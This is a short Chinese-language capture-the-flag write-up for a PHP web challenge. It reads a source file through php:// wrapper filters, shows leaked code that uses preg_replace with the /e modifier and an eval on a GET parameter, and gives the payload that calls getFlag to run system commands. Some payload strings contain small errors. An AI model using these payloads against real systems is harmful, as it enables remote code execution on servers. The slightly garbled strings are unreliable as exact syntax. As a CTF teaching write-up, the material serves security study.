前言:
绕过file_get_contents
绕过preg_mach
绕过preg_replace
解题:
提示要包含next.php。payload:?text=php//:input&php://filter/read=convert.base64-encoded/resource=next.php
解析时候发下是一段代码:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
发现可以通过调用getFlag函数来向cmd中传参数。这里就要绕过preg_replace()了。payload:?\S*=${getFlag()}&cmd=system(“ls /”);
发现有flag文件。
总结:
这里主要考察了:GET接受参数的时候会把.开头的换成。还有如何绕过pre_replace()和php伪协议的运用。